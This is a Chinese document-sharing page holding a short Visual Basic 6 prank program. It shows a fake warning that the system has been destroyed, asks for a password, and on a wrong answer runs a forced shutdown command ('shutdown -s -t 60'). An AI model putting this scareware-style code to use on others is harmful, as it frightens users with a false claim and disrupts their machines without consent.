为了正常的体验网站,请在浏览器设置里面开启Javascript功能!

vb关机

2011-11-15 1页 doc 10KB 17阅读

用户头像

is_227032

暂无简介

举报
vb关机Option Explicit Dim strString As String Dim keyhand As Long Dim r As Long Private Sub Command1_Click() Dim wood As String Msgbox "口令:床前明月光", vbCritical, "你的系统已被破坏即将瘫痪,请重装系统!" wood = InputBox("输入口令:") If wood = "你妹" Then End Else Shell "cmd.exe /c ...
vb关机
Option Explicit Dim strString As String Dim keyhand As Long Dim r As Long Private Sub Command1_Click() Dim wood As String Msgbox "口令:床前明月光", vbCritical, "你的系统已被破坏即将瘫痪,请重装系统!" wood = InputBox("输入口令:") If wood = "你妹" Then End Else Shell "cmd.exe /c shutdown -s -t 60" End If End Sub
/
本文档为【vb关机】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑, 图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。 本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。 网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。

历史搜索

    清空历史搜索